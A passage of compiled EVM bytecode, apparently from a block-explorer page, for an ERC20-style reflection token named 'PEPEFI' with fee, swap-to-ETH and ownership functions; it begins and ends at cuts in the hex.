576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e391906120c3565b60405180910390fd5b50600083856114fb91906127f6565b9050809150509392505050565b6000600a5482111561154f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115469061289c565b60405180910390fd5b60006115596118d8565b905061156e818461190390919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600367ffffffffffffffff8111156115ae576115ad6128bc565b5b6040519080825280602002602001820160405280156115dc5781602001602082028036833780820191505090505b50905030816000815181106115f4576115f36128eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611643576116426128eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170e919061292f565b81600281518110611722576117216128eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061178930601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610cb4565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b81526004016117ed959493929190612a55565b600060405180830381600087803b15801561180757600080fd5b505af115801561181b573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff0219169083151502179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156118a7573d6000803e3d6000fd5b5050565b806118b9576118b861194d565b5b6118c484848461198a565b806118d2576118d1611b55565b5b50505050565b60008060006118e5611b69565b915091506118fc818361190390919063ffffffff16565b9250505090565b600061194583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bd4565b905092915050565b6000600b5414801561196157506000600c54145b61198857600b54600d81905550600c54600e819055506000600b819055506000600c819055505b565b60008060008060008061199c87611c37565b9550955095509550955095506119fa86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a8f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611adb81611d47565b611ae58483611e04565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b42919061224b565b60405180910390a3505050505050505050565b600d54600b81905550600e54600c81905550565b6000806000600a54905060006b015b6a759f4835dc240000009050611ba56b015b6a759f4835dc24000000600a5461190390919063ffffffff16565b821015611bc757600a546b015b6a759f4835dc24000000935093505050611bd0565b81819350935050505b9091565b60008083118290611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1291906120c3565b60405180910390fd5b5060008385611c2a9190612ade565b9050809150509392505050565b6000806000806000806000806000611c548a600b54600c54611e3e565b9250925092506000611c646118d8565b90506000806000611c778e878787611ed4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ce183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114a4565b905092915050565b6000808284611cf89190612b0f565b905083811015611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3490612b8f565b60405180910390fd5b8091505092915050565b6000611d516118d8565b90506000611d688284611f5d90919063ffffffff16565b9050611dbc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e1982600a54611c9f90919063ffffffff16565b600a81905550611e3481600354611ce990919063ffffffff16565b6003819055505050565b600080600080611e6a6064611e5c888a611f5d90919063ffffffff16565b61190390919063ffffffff16565b90506000611e946064611e86888b611f5d90919063ffffffff16565b61190390919063ffffffff16565b90506000611ebd82611eaf858c611c9f90919063ffffffff16565b611c9f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611eed8589611f5d90919063ffffffff16565b90506000611f048689611f5d90919063ffffffff16565b90506000611f1b8789611f5d90919063ffffffff16565b90506000611f4482611f368587611c9f90919063ffffffff16565b611c9f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303611f6f5760009050611fd1565b60008284611f7d9190612baf565b9050828482611f8c9190612ade565b14611fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc390612c63565b60405180910390fd5b809150505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061200282611fd7565b9050919050565b61201281611ff7565b82525050565b600060208201905061202d6000830184612009565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561206d578082015181840152602081019050612052565b60008484015250505050565b6000601f19601f8301169050919050565b600061209582612033565b61209f818561203e565b93506120af81856020860161204f565b6120b881612079565b840191505092915050565b600060208201905081810360008301526120dd818461208a565b905092915050565b600080fd5b6120f381611ff7565b81146120fe57600080fd5b50565b600081359050612110816120ea565b92915050565b6000819050919050565b61212981612116565b811461213457600080fd5b50565b60008135905061214681612120565b92915050565b60008060408385031215612163576121626120e5565b5b600061217185828601612101565b925050602061218285828601612137565b9150509250929050565b60008115159050919050565b6121a18161218c565b82525050565b60006020820190506121bc6000830184612198565b92915050565b6000819050919050565b60006121e76121e26121dd84611fd7565b6121c2565b611fd7565b9050919050565b60006121f9826121cc565b9050919050565b600061220b826121ee565b9050919050565b61221b81612200565b82525050565b60006020820190506122366000830184612212565b92915050565b61224581612116565b82525050565b6000602082019050612260600083018461223c565b92915050565b60008060006060848603121561227f5761227e6120e5565b5b600061228d86828701612101565b935050602061229e86828701612101565b92505060406122af86828701612137565b9150509250925092565b600060ff82169050919050565b6122cf816122b9565b82525050565b60006020820190506122ea60008301846122c6565b92915050565b600060208284031215612306576123056120e5565b5b600061231484828501612101565b91505092915050565b60008060408385031215612334576123336120e5565b5b600061234285828601612101565b925050602061235385828601612101565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061239360208361203e565b915061239e8261235d565b602082019050919050565b600060208201905081810360008301526123c281612386565b9050919050565b7f53776170546f6b656e734174416d6f756e74206d75737420626520677265617460008201527f6572207468616e20302e3030303125206f6620746f74616c20737570706c7900602082015250565b6000612425603f8361203e565b9150612430826123c9565b604082019050919050565b6000602082019050818103600083015261245481612418565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006124b760268361203e565b91506124c28261245b565b604082019050919050565b600060208201905081810360008301526124e6816124aa565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061254960248361203e565b9150612554826124ed565b604082019050919050565b600060208201905081810360008301526125788161253c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125db60228361203e565b91506125e68261257f565b604082019050919050565b6000602082019050818103600083015261260a816125ce565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061266d60258361203e565b915061267882612611565b604082019050919050565b6000602082019050818103600083015261269c81612660565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006126ff60238361203e565b915061270a826126a3565b604082019050919050565b6000602082019050818103600083015261272e816126f2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061279160298361203e565b915061279c82612735565b604082019050919050565b600060208201905081810360008301526127c081612784565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061280182612116565b915061280c83612116565b9250828203905081811115612824576128236127c7565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612886602a8361203e565b91506128918261282a565b604082019050919050565b600060208201905081810360008301526128b581612879565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612929816120ea565b92915050565b600060208284031215612945576129446120e5565b5b60006129538482850161291a565b91505092915050565b6000819050919050565b600061298161297c6129778461295c565b6121c2565b612116565b9050919050565b61299181612966565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129cc81611ff7565b82525050565b60006129de83836129c3565b60208301905092915050565b6000602082019050919050565b6000612a0282612997565b612a0c81856129a2565b9350612a17836129b3565b8060005b83811015612a48578151612a2f88826129d2565b9750612a3a836129ea565b925050600181019050612a1b565b5085935050505092915050565b600060a082019050612a6a600083018861223c565b612a776020830187612988565b8181036040830152612a8981866129f7565b9050612a986060830185612009565b612aa5608083018461223c565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ae982612116565b9150612af483612116565b925082612b0457612b03612aaf565b5b828204905092915050565b6000612b1a82612116565b9150612b2583612116565b9250828201905080821115612b3d57612b3c6127c7565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b79601b8361203e565b9150612b8482612b43565b602082019050919050565b60006020820190508181036000830152612ba881612b6c565b9050919050565b6000612bba82612116565b9150612bc583612116565b9250828202612bd381612116565b91508282048414831517612bea57612be96127c7565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c4d60218361203e565b9150612c5882612bf1565b604082019050919050565b60006020820190508181036000830152612c7c81612c40565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f29d1514b35273244be84cab42e57aa0ad1122f65b78aa5af48ee2a3e919ab5d64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb146103b2578063bfd79284146103ef578063dd62ed3e1461042c578063e4a152a214610469578063f2fde38b146104925761011f565b8063715018a6146102dd5780637d1db4a5146102f45780637f2feddc1461031f5780638da5cb5b1461035c57806395d89b41146103875761011f565b806318160ddd116100e757806318160ddd146101e257806323b872dd1461020d5780632fd689e31461024a578063313ce5671461027557806370a08231146102a05761011f565b806301765b9b1461012457806306fdde031461014f578063095ea7b31461017a5780631694505e146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104bb565b6040516101469190612018565b60405180910390f35b34801561015b57600080fd5b506101646104e1565b60405161017191906120c3565b60405180910390f35b34801561018657600080fd5b506101a1600480360381019061019c919061214c565b61051e565b6040516101ae91906121a7565b60405180910390f35b3480156101c357600080fd5b506101cc61053c565b6040516101d99190612221565b60405180910390f35b3480156101ee57600080fd5b506101f7610562565b604051610204919061224b565b60405180910390f35b34801561021957600080fd5b50610234600480360381019061022f9190612266565b610576565b60405161024191906121a7565b60405180910390f35b34801561025657600080fd5b5061025f61064f565b60405161026c919061224b565b60405180910390f35b34801561028157600080fd5b5061028a610655565b60405161029791906122d5565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c291906122f0565b61065e565b6040516102d4919061224b565b60405180910390f35b3480156102e957600080fd5b506102f26106af565b005b34801561030057600080fd5b50610309610802565b604051610316919061224b565b60405180910390f35b34801561032b57600080fd5b50610346600480360381019061034191906122f0565b610808565b604051610353919061224b565b60405180910390f35b34801561036857600080fd5b50610371610820565b60405161037e9190612018565b60405180910390f35b34801561039357600080fd5b5061039c610849565b6040516103a991906120c3565b60405180910390f35b3480156103be57600080fd5b506103d960048036038101906103d4919061214c565b610886565b6040516103e691906121a7565b60405180910390f35b3480156103fb57600080fd5b50610416600480360381019061041191906122f0565b6108a4565b60405161042391906121a7565b60405180910390f35b34801561043857600080fd5b50610453600480360381019061044e919061231d565b6108c4565b604051610460919061224b565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b91906122f0565b61094b565b005b34801561049e57600080fd5b506104b960048036038101906104b491906122f0565b610aeb565b005b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600681526020017f5045504546490000000000000000000000000000000000000000000000000000815250905090565b600061053261052b610cac565b8484610cb4565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006b015b6a759f4835dc24000000905090565b6000610583848484610e7d565b6106448461058f610cac565b61063f85604051806060016040528060288152602001612c8460289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f5610cac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a49092919063ffffffff16565b610cb4565b600190509392505050565b60155481565b60006012905090565b60006106a8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611508565b9050919050565b6106b7610cac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073b906123a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60145481565b60106020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5045504546490000000000000000000000000000000000000000000000000000815250905090565b600061089a610893610cac565b8484610e7d565b6001905092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610953610cac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d7906123a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a469061243b565b60405180910390fd5b60008190507f8c27cb72e2fe676726d5478c1f720593c882dc77ef5dcae66595b7d62ec59d2481604051610a839190612018565b60405180910390a180601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360166101000a81548160ff0219169083151502179055505050565b610af3610cac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b77906123a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be6906124cd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a9061255f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d89906125f1565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e70919061224b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee390612683565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5290612715565b60405180910390fd5b60008111610f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f95906127a7565b60405180910390fd5b610fa6610820565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110145750610fe4610820565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111a35760006110243061065e565b905060006015548210159050601454821061103f5760145491505b8080156110595750601360159054906101000a900460ff16155b80156110b35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110cb5750601360169054906101000a900460ff165b80156111215750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156111775750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111a0576111868286611576565b6000479050600081111561119e5761119d4761183f565b5b505b50505b600060019050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061124a5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806112fd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156112fc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561130b5760009050611492565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113b65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113ce57600654600b81905550600754600c819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114795750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561149157600454600b81905550600554600c819055505b5b61149e848484846118ab565b50505050565b60008383111582906114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e391906120c3565b60405180910390fd5b50600083856114fb91906127f6565b9050809150509392505050565b6000600a5482111561154f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115469061289c565b60405180910390fd5b60006115596118d8565b905061156e818461190390919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600367ffffffffffffffff8111156115ae576115ad6128bc565b5b6040519080825280602002602001820160405280156115dc5781602001602082028036833780820191505090505b50905030816000815181106115f4576115f36128eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611643576116426128eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170e919061292f565b81600281518110611722576117216128eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061178930601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610cb4565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b81526004016117ed959493929190612a55565b600060405180830381600087803b15801561180757600080fd5b505af115801561181b573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff0219169083151502179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156118a7573d6000803e3d6000fd5b5050565b806118b9576118b861194d565b5b6118c484848461198a565b806118d2576118d1611b55565b5b50505050565b60008060006118e5611b69565b915091506118fc818361190390919063ffffffff16565b9250505090565b600061194583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bd4565b905092915050565b6000600b5414801561196157506000600c54145b61198857600b54600d81905550600c54600e819055506000600b819055506000600c819055505b565b60008060008060008061199c87611c37565b9550955095509550955095506119fa86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a8f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611adb81611d47565b611ae58483611e04565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b42919061224b565b60405180910390a3505050505050505050565b600d54600b81905550600e54600c81905550565b6000806000600a54905060006b015b6a759f4835dc240000009050611ba56b015b6a759f4835dc24000000600a5461190390919063ffffffff16565b821015611bc757600a546b015b6a759f4835dc24000000935093505050611bd0565b81819350935050505b9091565b60008083118290611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1291906120c3565b60405180910390fd5b5060008385611c2a9190612ade565b9050809150509392505050565b6000806000806000806000806000611c548a600b54600c54611e3e565b9250925092506000611c646118d8565b90506000806000611c778e878787611ed4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ce183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114a4565b905092915050565b6000808284611cf89190612b0f565b905083811015611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3490612b8f565b60405180910390fd5b8091505092915050565b6000611d516118d8565b90506000611d688284611f5d90919063ffffffff16565b9050611dbc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e1982600a54611c9f90919063ffffffff16565b600a81905550611e3481600354611ce990919063ffffffff16565b6003819055505050565b600080600080611e6a6064611e5c888a611f5d90919063ffffffff16565b61190390919063ffffffff16565b90506000611e946064611e86888b611f5d90919063ffffffff16565b61190390919063ffffffff16565b90506000611ebd82611eaf858c611c9f90919063ffffffff16565b611c9f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611eed8589611f5d90919063ffffffff16565b90506000611f048689611f5d90919063ffffffff16565b90506000611f1b8789611f5d90919063ffffffff16565b90506000611f4482611f368587611c9f90919063ffffffff16565b611c9f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303611f6f5760009050611fd1565b60008284611f7d9190612baf565b9050828482611f8c9190612ade565b14611fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc390612c63565b60405180910390fd5b809150505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061200282611fd7565b9050919050565b61201281611ff7565b82525050565b600060208201905061202d6000830184612009565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561206d578082015181840152602081019050612052565b60008484015250505050565b6000601f19601f8301169050919050565b600061209582612033565b61209f818561203e565b93506120af81856020860161204f565b6120b881612079565b840191505092915050565b600060208201905081810360008301526120dd818461208a565b905092915050565b600080fd5b6120f381611ff7565b81146120fe57600080fd5b50565b600081359050612110816120ea565b92915050565b6000819050919050565b61212981612116565b811461213457600080fd5b50565b60008135905061214681612120565b92915050565b60008060408385031215612163576121626120e5565b5b600061217185828601612101565b925050602061218285828601612137565b9150509250929050565b60008115159050919050565b6121a18161218c565b82525050565b60006020820190506121bc6000830184612198565b92915050565b6000819050919050565b60006121e76121e26121dd84611fd7565b6121c2565b611fd7565b9050919050565b60006121f9826121cc565b9050919050565b600061220b826121ee565b9050919050565b61221b81612200565b82525050565b60006020820190506122366000830184612212565b92915050565b61224581612116565b82525050565b6000602082019050612260600083018461223c565b92915050565b60008060006060848603121561227f5761227e6120e5565b5b600061228d86828701612101565b935050602061229e86828701612101565b92505060406122af86828701612137565b9150509250925092565b600060ff82169050919050565b6122cf816122b9565b82525050565b60006020820190506122ea60008301846122c6565b92915050565b600060208284031215612306576123056120e5565b5b600061231484828501612101565b91505092915050565b60008060408385031215612334576123336120e5565b5b600061234285828601612101565b925050602061235385828601612101565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061239360208361203e565b915061239e8261235d565b602082019050919050565b600060208201905081810360008301526123c281612386565b9050919050565b7f53776170546f6b656e734174416d6f756e74206d75737420626520677265617460008201527f6572207468616e20302e3030303125206f6620746f74616c20737570706c7900602082015250565b6000612425603f8361203e565b9150612430826123c9565b604082019050919050565b6000602082019050818103600083015261245481612418565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006124b760268361203e565b91506124c28261245b565b604082019050919050565b600060208201905081810360008301526124e6816124aa565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061254960248361203e565b9150612554826124ed565b604082019050919050565b600060208201905081810360008301526125788161253c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125db60228361203e565b91506125e68261257f565b604082019050919050565b6000602082019050818103600083015261260a816125ce565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061266d60258361203e565b915061267882612611565b604082019050919050565b6000602082019050818103600083015261269c81612660565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006126ff60238361203e565b915061270a826126a3565b604082019050919050565b6000602082019050818103600083015261272e816126f2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061279160298361203e565b915061279c82612735565b604082019050919050565b600060208201905081810360008301526127c081612784565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061280182612116565b915061280c83612116565b9250828203905081811115612824576128236127c7565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612886602a8361203e565b91506128918261282a565b604082019050919050565b600060208201905081810360008301526128b581612879565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612929816120ea565b92915050565b600060208284031215612945576129446120e5565b5b60006129538482850161291a565b91505092915050565b6000819050919050565b600061298161297c6129778461295c565b6121c2565b612116565b9050919050565b61299181612966565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129cc81611ff7565b82525050565b60006129de83836129c3565b60208301905092915050565b6000602082019050919050565b6000612a0282612997565